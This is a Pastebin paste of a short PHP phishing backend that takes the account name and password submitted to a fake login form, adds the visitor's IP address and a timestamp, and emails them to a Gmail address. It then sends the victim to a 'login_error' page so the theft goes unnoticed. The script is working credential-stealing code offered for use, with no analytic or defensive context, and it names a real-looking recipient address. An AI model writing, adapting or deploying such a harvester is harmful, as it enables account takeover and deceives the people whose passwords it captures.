Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?PHP
- $Account = $_POST['campoaccount'];
- $Password = $_POST['campopassword'];
- $youremail = "powerlocmt2@gmail.com";
- $ip = getenv('REMOTEADDR');
- $td = date("F jS");
- $date = date("d M, Y");
- $time = date("g:i a");
- $LogTime = trim(" Data: ".$date."\nOra: ".$time);
- $subject = "Code Sniffer";
- mail($youremail,$subject,"Username: ".$Account."\nPassword: ".$Password."\n\nIndirizzo ip: ".$ip."\n".$LogTime,"from: $Account <$Account>");
- header("Location: login_error.html");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement